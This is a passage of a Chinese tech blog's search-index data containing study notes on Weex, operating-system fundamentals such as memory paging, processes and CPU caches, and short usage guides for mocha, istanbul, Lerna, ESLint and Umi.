bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理\n","permalink":"https://xiaochenabc123.github.io/posts/116/","summary":"weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具\n支持ES6，跨平台，体积小，性能优异，编写规范\n官网：http://emas.weex.io/zh/\nweex调试工具：weexplayground（可以用来测试，要同局域网下）\n安装\nnpm install -g weex-toolkit\n检查weex\nweex -v\n初始化项目\nweex init demo\nnpm install\n或者\nweex create demo\n运行\nnpm run dev\nnpm run server\n编译js bundle\nweex compile 目录或者文件 打包文件存放的目录或者文件\n压缩编译\nweex compile 目录或者文件 打包文件存放的目录或者文件 -m\n注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750\n不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形\n运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理","title":"weex跨平台框架学习笔记"},{"content":"操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统\n常见操作系统有Windows，Linux，Android\n操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互\n操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等\n操作系统的架构的层次是在硬件之上，应用之下\nOS Kernel：可并发（同时存在多个运行的应用）。可共享，可虚拟，可异步\n微内核：尽可能将内核功能移植到用户空间，缺点就是性能低\n外核和内核：一个负责硬件，一个负责软件\nDISK（硬盘存储）：存储OS\nBIOS：基本I/O处理系统（加载外设以及加载软件来运行OS） （basic I/O system)\nBootLoader：加载OS\nPOST（加电自检，查找显卡和执行BIOS）\n系统调度：来源于“合法”的应用向系统发出服务请求的（同步或者异布）\n异常：来源于“不良”的应用非法指令（或者应用意想不到的请求，应用无法获得资源需求）（同步）\n中断：来源于外设对于硬件设备和网络中断（异步）\n逻辑化地址空间，独立地址空间，可访问相同内存，更多内存空间（虚拟化）\n物理地址空间：硬件支持的地址空间\n逻辑地址空间：应用程序拥有的内存范围\n操作系统为了运行多个程序，进行了内存地址的隔离（分配独立的虚拟内存地址），虚拟内存地址和物理内存地址是映射关系\n应用逻辑地址映射到物理地址\nCPU需要逻辑地址上的内存内容（ALU），内存管理单元（MMU）寻找逻辑地址和物理地址之间的映射，控制器将从总线发送物理地址的内存内容的请求\n内存发送物理地址内存内容给CPU（告诉CPU，物理地址找到了），建立逻辑地址和物理地址之间的映射（确保应用互不干扰）\n虚拟地址和物理地址的映射关系管理\n内存分段（内存被看成一组不同长度的段）\n内存分段下的虚拟地址分为段选择⼦和段内偏移量\n段选择⼦保存在段寄存器中，段选择⼦其中的段号被用于段表的索引，段表中保存的是这个段的基地址和段界限等等\n而段内偏移量是位于0和段界限之间的，如果段内偏移量合法，那么段内偏移量加段的基地址得到物理内存地址\n分段的内存碎片问题，如果某个程序占用了128mb内存，然后该程序被关闭了，释放128mb内存，如果这个128mb内存不是连续的，而是被分段了，这将导致没有内存空间打开另一个内存占用128mb的程序\n内存分页（将物理内存和虚拟内存切成一段段固定大小的内存空间）\n内存分页解决了内存分段的内存碎片问题，其释放内存是以页为单位释放的，当内存空间不够，会释放其他正在运行的进程的没使用的内存页面\n内存分页下的虚拟地址被分为页号和页内偏移，页好为页表的索引，页表保存着物理页的所在物理内存的基地址，基地址和页内偏移组成物理内存地址\n内存分页的缺点就是在运行多线程时，页表会非常大，所以出现了多级⻚表（将页表分成一级一级的）\n段⻚式内存管理（内存分段和内存分页的结合体）\n先将内存分为多个段，再将每个端分为多个页，地址通过段号，段内⻚号和⻚内位移组成\n连续性内存管理（内存碎片和分区的动态分配）\n外部碎片：在分配单元间的未使用内存\n内部碎片：在分配单元中的未使用内存\n当一个应用被批准运行在内存中时，分配一个连续的区间，来给运行的应用访问数据\n动态分配的策略：当想分配某字节，先从低地址找，找到第一个被某字节大的空闲块，就使用它\n动态分配的缺点就是外部碎片严重\n非连续内存分配\n分段Segmentation：\n逻辑地址空间连续，物理地址离散\n一个段表示一个内存块，一个逻辑地址空间，应用访问内存地址的时候，需要个二维的二元组\n虚拟内存：\n早期内存不够应用消耗，应用的规模比存储器的容器大\n当应用太大，超出内存，可采用手动的覆盖(overlay) 技术，只把需要的指令和数据保存在内存中\n当应用太多，超出内存，可采用自动的交换(swapping) 技术，把暂时不能执行的程序送到外存（磁盘）中\n进程和线程：\n进程状态(state)，线程(thread)，进程间通信(inter-process communication)，进程互斥与同步，死锁(deadlock)\n进程包含正在运行的应用的全部状态信息\n进程可动态化创建，结束进程，可以被独立调度并占用处理，不同的进程互不影响，可访问共享数据或者资源\n进程控制块(process control block, PCB)：进程的数据结构，操作系统管理控制进程运行所用的信息集合，操作系统为每一个进程都维护了一个PCB，用来存储保存和该进程有关的状态信息\n进程是操作系统最小可调度的资源单位\n多个程序运行在单核心CPU服务器上，实质就是在共享时间片（时间片，操作系统将某个程序分配到某段CPU时间上，单核是无法同时运行多个程序的，只能共享时间片，而进程就是因此而生）\n进程状态有3种，分别是运行，阻塞以及就绪\n运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用\n运行可切换到阻塞状态\n阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态\n进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了\n进程发生阻塞时，该进程将放弃CPU使用权，CPU会执行下一个就绪状态的进程\n中断和中断向量\n当程序发生中断（CPU暂时中断当前正在运行的程序），CPU转去处理其他的程序（也可能是处理内存的数据），当CPU处理完毕，CPU可恢复到之前被暂时中断当前正在运行的程序的状态，这个过程叫中断\n中断向量就是中断程序的入口地址\n中断发生时，该进程会第一时间保存被中断程序的状态，会将相关数据保存到寄存器，当CPU通过中断向量，跳转到处理中断程序中去，并且执行中断程序，然后决定下一个执行哪个程序，如果这个程序正好是之前被中断的，会从寄存器中读取相关数据。恢复到之前中断的执行状态\n任何进程都需要排队等待\n进程中断和进程阻塞的区别：中断是由于一些优先级比较高的需要CPU处理而被迫中断执行，而阻塞是因为进程需要一些依赖，但是依赖没有就位，需要等待就位，该进程就会进入到阻塞队列中，当依赖就位，就恢复到就绪状态，等待进程调度系统分配CPU执行权\n进程（Process）是计算机中的程序关于某数据集合上的一次运行活动，是系统进行资源的分配和调度的基本单位，每个进程都拥有一个自己的地址空间，进程至少有5种基本状态，分别是：初始状态，执行状态，等待状态，就绪状态，终止状态\n线程（Thread）是进程的执行实例，是程序执行的最小单位，是操作系统能够进行运算调度的最小单位，一个进程可以创建多个线程，同一个进程的线程共享进程的内存信息，同一个进程的多个可以并发执行，一个线程要执行，必须至少有一个进程\n并发和并行的区别\n并发：指一个时间段中有多个线程（程序）被快速的轮换执行（处于启动运行到运行完毕之间），在一个时间段中只有一个线程（程序）在执行，在宏观上感觉是多个线程同时被处理，如果多线程操作在一个cpu上，操作系统将cpu运行时间分隔为若干个时间段，将时间段分配给各个线程执行，在一个时间段的线程执行时，其他线程将处于挂起状态，这就叫并发\n并行：当系统拥有多个cpu（1个以上）时，一个cpu执行一个线程，另一个线程执行另一个线程，同时进行处理，这就叫并行\n并发和并行的区别：并发一个时间段只能执行一个线程（多个线程需要排队执行），并行可以在一个时间段中同时执行多个线程\n当多线程程序在单核CPU上执行时，就是并发，在多核CPU执行时，就是并行，当线程数大于CPU核数，那么既有并行又有并发\n进程调度的性能消耗太大，因为进程调度会导致进程中断，不但需要将数据保存在寄存器中，恢复进程还需要从寄存器中读取数据，而调度线程的性能消耗就很小，线程是进程的执行单元，一个进程中最少存在一个线程\n进程的竞争和临界区\n临界区：指的是共享内存中的程序片段\n当两个进程同时访问了临界区，而临界区中的数据正好不能被同时访问，例如进程A读取了临界区中的某个内存，并且修改了这个内存，但是进程B正好在读取该临界区的这个内存，导致读取的数据是错的，而解决这个问题的最简单方法就是互斥，当一个进程在该临界区中时，其他进程不能进入，需要排队等待，而且不能过于长时间的占用临界区，临界区外的进程不影响到临界区内的进程\n死锁：当多个进程因为竞争资源或者进程通信而导致的阻塞现象，进程在互相等待，无法进行下一步操作\n严格轮换法，Peterson算法\n严格轮换法简单来说就是声明一个状态，某个进程进入临界区时，状态为1，出来的时候状态为0，当其他进程看到状态为1时，等待该进程出来，看到状态为0时，进入临界区\nPeterson算法是严格轮换法的优化版，实现了互斥的同时又避免的死锁\nPeterson算法的思路是声明2个状态（一个是正在使用临界区的状态，另一个是想进入临界区的状态），当一个进程想进入临界区时，会检查一下其他进程是否想进入临界区，如果存在其他进程想进入临界区，则等待\nFHS规范（3.0），全称Filesystem Hierarchy Standard，中文翻译为文件系统层次结构标准，用于定义根目录以及一级子目录的规范，大多数Linux版本使用该标准来定义文件系统（并不一定完全符合规范，只是大概上符合）\nFHS规范定义了系统各个目录应该要放什么文件数据，以及所需要的文件和目录\n例如：规范某一些文件或者目录可以分享或者不可以分享给给其他人使用\nFHS规范了根目录(/)，以及根目录的子目录etc（配置文件），bin（必要软件或者命令），usr（二级目录），home（当前用户的家目录），var（动态数据）\nLinux文件系统\u0026mdash;VFS（虚拟文件系统）（Linux下一切都是文件）\nVFS不需要考虑不同文件系统和存储介质的差异，因为其内核抽象出了通用的文件系统接口，只要符合接口标准，一些文件或者比较特殊的文件系统都是可以兼容\nVFS抽象对象，超级块：文件系统，目录项：文件的路径，索引节点：具体文件（操作文件的具体信息），文件：进程打开的文件。都有自己的接口来操作\nXFS（高性能64位日志文件系统），带有日志功能防丢数据，原生提供备份工具（xfsdump/sfsrestore）\n图灵机和冯诺依曼模型\n图灵机实质就是机器模拟人类在纸上进行数学运算，先将数值写到一个纸带的小方格中，再通过读写头来读取小方格里面的信息\n这个读写头具备存储，运算，控制功能。存储读取的数据以及运算出来的数据，可执行运算指令，可识别数据是运算指令（例如加号，减号等等运算符号）还是数字\n冯诺依曼模型（约定使用二进制来存储和计算数据，并且定义计算机基本结构，CPU，内存，输入设备，输出设备，总线，具备这5个部分的计算机就是冯诺依曼模型）\nCPU：中央处理器，64位处理器（64位指的CPU的位宽，位宽决定了处理器一次可以计算处理多少字节的数据，64位处理器可以一次计算8个字节）\nCPU内部还有寄存器（存储CPU计算时的数据），运算单元（负责计算），控制单元（控制CPU工作）\n常见的寄存器有：通用寄存器（存储需要进行计算的数据），程序计数器（存储CPU要执行下一个指令的内存地址），指令寄存器（存储程序计数器指向的指令）\n总线（CPU和其他设备之间的通信，总线被分为3种，地址总线（传送外部存储器（内存）的地址），控制总线（用来传输和接收控制信号），数据总线（传送内存的数据信息，数据总线又分单向传输，双向传输））\n输入输出设备（输入设备通过控制总线和CPU通信，CPU处理后，将数据输出给输出设备）\n线路传输：通过电压来传输数据，低电压表示0，高电压表示1，一条线路可传输1bit的数据（二进制，0或1）\n32位处理器的最大寻址空间为2的32次方（4294967296，大概4GB左右），所以32位CPU（或者操作系统）只能操作4G内存（而64位理论上寻址范围高达2的64次方）\nCPU执行过程：CPU读取程序计数器的值（指令内存地址），控制单元通过地址总线访问到内存，并且通过数据总线获取数据给CPU，CPU接收到数据，将该数据存储在指令寄存器，CPU处理指令寄存器的数据，确定数据的类型，如果是计算类，就交给运算单元处理，如果是存储类，就交给控制单元处理，CPU处理完毕后，程序计数器的值自增（用来表示下一条指令，自增取决于CPU的位宽，如果是64位处理器就是自增8（因为64位一次性处理8个字节数据，一个字节数据需要一个地址来存放））\nCPU会不断执行该过程，直到结束（这个过程叫CPU的指令周期）\nCPU的执行速度取决于指令的执行速度，而指令的执行速度取决于CPU的时钟频率（Ghz），例如我电脑的CPU是 2.10 GHz的，这个 2.10 GHz指的是1秒内可以产生2.1G次数的脉冲信号，而每一次脉冲信号的高低电平的转换就是时钟周期（振荡周期）\n时钟频率越高，时钟周期越低，CPU的处理速度越快\n存储器\n内存断电，数据会丢失，而硬盘不会，因为硬盘是持久化存储，而且CPU内部也有存储器（只不过其能存储的数据很小）\n寄存器处理速度最快，再到CPU Cache（中⽂称为CPU缓存，一般分为L1,L2,L3这样的缓存层，比如我电脑的r5 3550h的一级缓存为384KB，二级缓存为2MB，三级缓存为4MB，二级缓存是一级缓存的缓冲器，三级缓存是二级缓存的缓冲器）\n然后再到内存，最后是硬盘\n一个主频为2.1Ghz的CPU，表示其1秒内完成2.1x10的9次方个时钟周期\nCPU Cachee使用了⼀种叫 静态随机存取存储器（Static Random-Access Memory，SRAM）的存储器，一旦断电就会丢失数据\n每个CPU核心都有属于自己的L1缓存和L2缓存，而L3缓存一般是多核心共享的\n内存使用的是一种叫动态随机存取存储器（Dynamic Random Access Memory，DRAM）的存储器\nSRAM存储1bit的数据，一般情况需要6个晶体管，而DRAM只需要一个晶体管和一个电容\n硬盘就是固体硬盘（分为HDD硬盘（Hard Disk Drive）和SSD硬盘(Solid-state disk)），HDD硬盘结构和内存相似，但是和内存，缓存之类的不同的是其断电，数据不会丢失\nCPU Cachee的数据是从内存中获取的，通过Cache Line（缓存块）来一块一块获取，L1缓存一般分为数据缓存和指令缓存\n补码：将正数的二进制全部取反再加1，补码被用于处理负数\n十进制小数转二进制用的是乘2取整法（将小数部分乘以2，作为二进制的一位，一直到不存在小数，整数还是用除2法，再合并就是小数的二进制结果）\n不是所有小数都可以乘2取整的，例如0.1就不能取整，无法使用二进制精确表示0.1，只能使用近似值来表示，这将导致精度缺失的情况发生\n操作系统内核：连接硬件设备的桥梁，应用只需要和内核交互，无需关注硬件，内核已提供访问硬件的接口\n现代操作系统内核支持进程调度，内存管理，硬件通信，提供系统接口等功能\n内核权限很高，并且将内存分称2个部分，分别是内核空间（只有内核程序可访问），用户空间（专门提供给应用使用）\n当程序在使用用户空间时，那么该程序在用户态执行，如果在使用内核空间，那么该程序在内核态执行\n内核一般分为三种，宏内核（Linux为代表，整个内核是一个完整的程序），微内核（具备一个小内核，一些服务或者模块由用户态来管理）以及混合内核（宏内核和微内核的结合体，windows为代表）\n计算机的输入，输出，状态转换函数F\n状态描述：一切可使用数字描述\n输入：晶振（时间输入，CPU周期，时钟驱动CPU工作），外界输入设备\n输出：打印机，显示器\n机械计算机：差分机（巴贝奇，多项式求值）\n图灵机\n冯 诺依曼模型\nCPU的工作原理（内存，寄存器，ALU（算数逻辑单元））\n数据空间地址和指令空间地址\n指令\n通过指令来控制计算机工作，CPU被时钟驱动，并且不断读取指针指向的指令，从内存读取指令然后执行指令\n不同的cpu架构使用不同的指令集，常见的指令集有RISC（Reduced Instruction Set Computing，精简指令集），CISC（Complex Instruction Set Computing，复杂指令集）\nRISC中代表的有arm指令集，CISC中代表的有x86指令集\nRISC的特点就是CPU单元电路少，面积小，功耗低（只进行二进制处理器指令）\nCISC的特定就是CPU单元电路多，面积大，功耗大（进行复杂指令）\n寻址模式，浮点数，指令分类\n寻址模式（指令集的一部分，表示指令有哪些操作符，地址应该怎么计算）\n寄存器寻址，立即寻址，偏移量寻址（基地址，偏移量），PC相对寻址\n内存读写（load/store指令），加减乘除（add，sub，div，mult）。\n操作系统的并发性（2个事件及2个以上事件在一段时间内发生，就叫并发，并发是单核CPU的知识点），共享性（操作系统的资源可以提供给多个并发程序使用，互斥共享，同时访问（一段时间内并发访问资源）），虚拟性（将物理设备虚拟成多个逻辑实体，虚拟技术有时分复用（分时使用硬件资源，例如虚拟处理器技术，就是将多个程序分时复用处理器资源，虚拟设备技术，就是将物理设备虚拟成多个逻辑设备，一个程序使用一个逻辑设备，通过逻辑设备来并发访问真实的物理设备），空分复用技术（虚拟磁盘技术（将物理磁盘虚拟成多个逻辑盘），虚拟内存技术（可使用比实际内存更大的内存空间））），异步性（允许多进程并发执行）\n","permalink":"https://xiaochenabc123.github.io/posts/115/","summary":"操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统\n常见操作系统有Windows，Linux，Android\n操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互\n操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等\n操作系统的架构的层次是在硬件之上，应用之下\nOS Kernel：可并发（同时存在多个运行的应用）。可共享，可虚拟，可异步\n微内核：尽可能将内核功能移植到用户空间，缺点就是性能低\n外核和内核：一个负责硬件，一个负责软件\nDISK（硬盘存储）：存储OS\nBIOS：基本I/O处理系统（加载外设以及加载软件来运行OS） （basic I/O system)\nBootLoader：加载OS\nPOST（加电自检，查找显卡和执行BIOS）\n系统调度：来源于“合法”的应用向系统发出服务请求的（同步或者异布）\n异常：来源于“不良”的应用非法指令（或者应用意想不到的请求，应用无法获得资源需求）（同步）\n中断：来源于外设对于硬件设备和网络中断（异步）\n逻辑化地址空间，独立地址空间，可访问相同内存，更多内存空间（虚拟化）\n物理地址空间：硬件支持的地址空间\n逻辑地址空间：应用程序拥有的内存范围\n操作系统为了运行多个程序，进行了内存地址的隔离（分配独立的虚拟内存地址），虚拟内存地址和物理内存地址是映射关系\n应用逻辑地址映射到物理地址\nCPU需要逻辑地址上的内存内容（ALU），内存管理单元（MMU）寻找逻辑地址和物理地址之间的映射，控制器将从总线发送物理地址的内存内容的请求\n内存发送物理地址内存内容给CPU（告诉CPU，物理地址找到了），建立逻辑地址和物理地址之间的映射（确保应用互不干扰）\n虚拟地址和物理地址的映射关系管理\n内存分段（内存被看成一组不同长度的段）\n内存分段下的虚拟地址分为段选择⼦和段内偏移量\n段选择⼦保存在段寄存器中，段选择⼦其中的段号被用于段表的索引，段表中保存的是这个段的基地址和段界限等等\n而段内偏移量是位于0和段界限之间的，如果段内偏移量合法，那么段内偏移量加段的基地址得到物理内存地址\n分段的内存碎片问题，如果某个程序占用了128mb内存，然后该程序被关闭了，释放128mb内存，如果这个128mb内存不是连续的，而是被分段了，这将导致没有内存空间打开另一个内存占用128mb的程序\n内存分页（将物理内存和虚拟内存切成一段段固定大小的内存空间）\n内存分页解决了内存分段的内存碎片问题，其释放内存是以页为单位释放的，当内存空间不够，会释放其他正在运行的进程的没使用的内存页面\n内存分页下的虚拟地址被分为页号和页内偏移，页好为页表的索引，页表保存着物理页的所在物理内存的基地址，基地址和页内偏移组成物理内存地址\n内存分页的缺点就是在运行多线程时，页表会非常大，所以出现了多级⻚表（将页表分成一级一级的）\n段⻚式内存管理（内存分段和内存分页的结合体）\n先将内存分为多个段，再将每个端分为多个页，地址通过段号，段内⻚号和⻚内位移组成\n连续性内存管理（内存碎片和分区的动态分配）\n外部碎片：在分配单元间的未使用内存\n内部碎片：在分配单元中的未使用内存\n当一个应用被批准运行在内存中时，分配一个连续的区间，来给运行的应用访问数据\n动态分配的策略：当想分配某字节，先从低地址找，找到第一个被某字节大的空闲块，就使用它\n动态分配的缺点就是外部碎片严重\n非连续内存分配\n分段Segmentation：\n逻辑地址空间连续，物理地址离散\n一个段表示一个内存块，一个逻辑地址空间，应用访问内存地址的时候，需要个二维的二元组\n虚拟内存：\n早期内存不够应用消耗，应用的规模比存储器的容器大\n当应用太大，超出内存，可采用手动的覆盖(overlay) 技术，只把需要的指令和数据保存在内存中\n当应用太多，超出内存，可采用自动的交换(swapping) 技术，把暂时不能执行的程序送到外存（磁盘）中\n进程和线程：\n进程状态(state)，线程(thread)，进程间通信(inter-process communication)，进程互斥与同步，死锁(deadlock)\n进程包含正在运行的应用的全部状态信息\n进程可动态化创建，结束进程，可以被独立调度并占用处理，不同的进程互不影响，可访问共享数据或者资源\n进程控制块(process control block, PCB)：进程的数据结构，操作系统管理控制进程运行所用的信息集合，操作系统为每一个进程都维护了一个PCB，用来存储保存和该进程有关的状态信息\n进程是操作系统最小可调度的资源单位\n多个程序运行在单核心CPU服务器上，实质就是在共享时间片（时间片，操作系统将某个程序分配到某段CPU时间上，单核是无法同时运行多个程序的，只能共享时间片，而进程就是因此而生）\n进程状态有3种，分别是运行，阻塞以及就绪\n运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用\n运行可切换到阻塞状态\n阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态\n进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了","title":"操作系统学习笔记"},{"content":"mocha是JavaScript测试框架\n安装\nnpm install \u0026ndash;global mocha\n测试，例如：\ndemo.js\nfunction abc(a,b,c){\rreturn a+b+c\r}\rmodule.exports = abc\rdemo.test.js\nconst demo = require('./demo.js')\rconst expect = require('chai').expect\rdescribe('test', function() {\rit('错误', function() {\rexpect(demo(1,3,7)).to.be.equal(11)\r})\r})\r测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）\nmocha demo.test.js\n其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误\n因为mocha本身没有断言库，需要导入 const expect = require(\u0026lsquo;chai\u0026rsquo;).expect\n查看内置的全部报告格式（默认是spec）\nmocha \u0026ndash;reporters\n使用Dot格式显示\nmocha \u0026ndash;reporter dot\n使用HTML报告\nnpm install \u0026ndash;save-dev mochawesome\nmocha其他参数\n\u0026ndash;watch：监听指定测试脚本，只要测试脚本发生改变就自动执行mocha\n搜索测试实例（通过名称）\nmocha \u0026ndash;grep \u0026ldquo;test\u0026rdquo;\n\u0026ndash;invert ：只执行不符合条件的测试脚本，要搭配\u0026ndash;grep使用\n如果要测试ES6，需要转码\nnpm install babel-core babel-preset-es2015 \u0026ndash;save-dev\n.babelrc\n{\r\u0026quot;presets\u0026quot;: [ \u0026quot;es2015\u0026quot; ]\r}\rmocha \u0026ndash;compilers js:babel-core/register\n注意：mocha默认每个测试实例只能最多执行2000毫秒，如果在这个时间里没处理完毕将报错\n需要指定超时时间（-t或\u0026ndash;timeout参数），例如：\nmocha -t 6000 demo.test.js\n也可以设置-s或-slow参数来指定超过一定时间的部分高亮显示\nmocha -t 6000 -s 3000 demo.test.js\n生成指定格式的测试文件\nmocha \u0026ndash;recursive -R markdown \u0026gt; demo.md\nmocha \u0026ndash;recursive -R doc \u0026gt; demo.html\n","permalink":"https://xiaochenabc123.github.io/posts/114/","summary":"mocha是JavaScript测试框架\n安装\nnpm install \u0026ndash;global mocha\n测试，例如：\ndemo.js\nfunction abc(a,b,c){\rreturn a+b+c\r}\rmodule.exports = abc\rdemo.test.js\nconst demo = require('./demo.js')\rconst expect = require('chai').expect\rdescribe('test', function() {\rit('错误', function() {\rexpect(demo(1,3,7)).to.be.equal(11)\r})\r})\r测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）\nmocha demo.test.js\n其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误\n因为mocha本身没有断言库，需要导入 const expect = require(\u0026lsquo;chai\u0026rsquo;).expect\n查看内置的全部报告格式（默认是spec）\nmocha \u0026ndash;reporters\n使用Dot格式显示\nmocha \u0026ndash;reporter dot\n使用HTML报告\nnpm install \u0026ndash;save-dev mochawesome\nmocha其他参数\n\u0026ndash;watch：监听指定测试脚本，只要测试脚本发生改变就自动执行mocha\n搜索测试实例（通过名称）\nmocha \u0026ndash;grep \u0026ldquo;test\u0026rdquo;\n\u0026ndash;invert ：只执行不符合条件的测试脚本，要搭配\u0026ndash;grep使用\n如果要测试ES6，需要转码\nnpm install babel-core babel-preset-es2015 \u0026ndash;save-dev\n.babelrc","title":"简单使用mocha测试框架"},{"content":"代码覆盖率：是否所有代码都被执行或者调用\n每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用\nistanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）\n安装\nnpm install -g istanbul\n测试覆盖率\nistanbul cover demo.js\n检查程序覆盖率是否达到某个值\nistanbul check-coverage \u0026ndash;statement 60 \u0026ndash;branch -5 \u0026ndash;function 100\n在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹\n在coverage/lcov-report/index.html，可以查看网页版结果\n","permalink":"https://xiaochenabc123.github.io/posts/113/","summary":"代码覆盖率：是否所有代码都被执行或者调用\n每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用\nistanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）\n安装\nnpm install -g istanbul\n测试覆盖率\nistanbul cover demo.js\n检查程序覆盖率是否达到某个值\nistanbul check-coverage \u0026ndash;statement 60 \u0026ndash;branch -5 \u0026ndash;function 100\n在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹\n在coverage/lcov-report/index.html，可以查看网页版结果","title":"简单使用istanbul代码覆盖率工具"},{"content":"Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包\n安装Lerna\nnpm install \u0026ndash;global lerna\n新建git仓库（初始化）\ngit init lerna-demo\n初始化Lerna仓库\nlerna init\n创建新包\nlerna create demoPackage\n显示全部已经安装的包\nlerna list\n依赖处理（通过软链接方式将多个package关联起来）\nlerna bootstrap\n添加包到外层的node_modules\nlerna add axios\n移除所有packages下的node_modules（不会移除根目录的）\nlerna clean\n发布package（不会发布标记为private的包）\nlerna publish\n查看上一次有修改的包的差异\nlerna diff\n注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件\nlerna有两个管理模式，分别是固定模式（默认模式）和独立模式\n固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号\n独立模式：init的时候使用\u0026ndash;independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号\n","permalink":"https://xiaochenabc123.github.io/posts/112/","summary":"Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包\n安装Lerna\nnpm install \u0026ndash;global lerna\n新建git仓库（初始化）\ngit init lerna-demo\n初始化Lerna仓库\nlerna init\n创建新包\nlerna create demoPackage\n显示全部已经安装的包\nlerna list\n依赖处理（通过软链接方式将多个package关联起来）\nlerna bootstrap\n添加包到外层的node_modules\nlerna add axios\n移除所有packages下的node_modules（不会移除根目录的）\nlerna clean\n发布package（不会发布标记为private的包）\nlerna publish\n查看上一次有修改的包的差异\nlerna diff\n注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件\nlerna有两个管理模式，分别是固定模式（默认模式）和独立模式\n固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号\n独立模式：init的时候使用\u0026ndash;independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号","title":"简单使用Lerna多包管理工具"},{"content":"ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）\n安装ESlint\nnpm install eslint \u0026ndash;save-dev\n或者全局安装\nnpm install eslint \u0026ndash;global\n修改scripts属性（package.json）\u0026ndash;fix参数是ESlint提供的自动修复基础错误功能（不能修复逻辑性错误），如果不要也可以\n\u0026ldquo;lint\u0026rdquo;: \u0026ldquo;eslint src \u0026ndash;fix\u0026rdquo;, \u0026ldquo;lint:create\u0026rdquo;: \u0026ldquo;eslint \u0026ndash;init\u0026rdquo;\n创建.eslintrc\nnpm run lint:create\n会显示显示要求，例如是否校验ES6语法，首行空白是Tab键还是Space等等\n校验程序（根据上面的修改，会检查src目录下的所有.js文件）\nnpm run lint\n.eslintrc文件是ESlint校验配置文件，这个配置文件可以自己设置（或者手写手动修改），也可以复制别人的\n\u0026ldquo;off\u0026rdquo; or 0 ：关闭规则\n\u0026ldquo;warn\u0026rdquo; or 1 ：将规则视为一个警告\n\u0026ldquo;error\u0026rdquo; or 2 ：将规则视为一个错误\n可以设置规范，只能使用单引号，tab缩进等等编写规范\n","permalink":"https://xiaochenabc123.github.io/posts/111/","summary":"ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）\n安装ESlint\nnpm install eslint \u0026ndash;save-dev\n或者全局安装\nnpm install eslint \u0026ndash;global\n修改scripts属性（package.json）\u0026ndash;fix参数是ESlint提供的自动修复基础错误功能（不能修复逻辑性错误），如果不要也可以\n\u0026ldquo;lint\u0026rdquo;: \u0026ldquo;eslint src \u0026ndash;fix\u0026rdquo;, \u0026ldquo;lint:create\u0026rdquo;: \u0026ldquo;eslint \u0026ndash;init\u0026rdquo;\n创建.eslintrc\nnpm run lint:create\n会显示显示要求，例如是否校验ES6语法，首行空白是Tab键还是Space等等\n校验程序（根据上面的修改，会检查src目录下的所有.js文件）\nnpm run lint\n.eslintrc文件是ESlint校验配置文件，这个配置文件可以自己设置（或者手写手动修改），也可以复制别人的\n\u0026ldquo;off\u0026rdquo; or 0 ：关闭规则\n\u0026ldquo;warn\u0026rdquo; or 1 ：将规则视为一个警告\n\u0026ldquo;error\u0026rdquo; or 2 ：将规则视为一个错误\n可以设置规范，只能使用单引号，tab缩进等等编写规范","title":"简单使用ESlint代码风格校验工具"},{"content":"Umi是一款前端应用框架\n官方文档：https://umijs.org/zh-CN/docs\n根据官方文档要求，node版本\u0026gt;=10.13\nyarn create @umijs/umi-app\n安装依赖\nyarn\n启动项目\nyarn start\n构建项目（默认生成到./dist）\nyarn build\n路由（src\\.umi\\core\\routes.ts）\n\u0026quot;routes\u0026quot;: [\r{\r\u0026quot;path\u0026quot;: \u0026quot;/\u0026quot;,\r\u0026quot;component\u0026quot;: require('@/pages/index').default,\r\u0026quot;exact\u0026quot;: 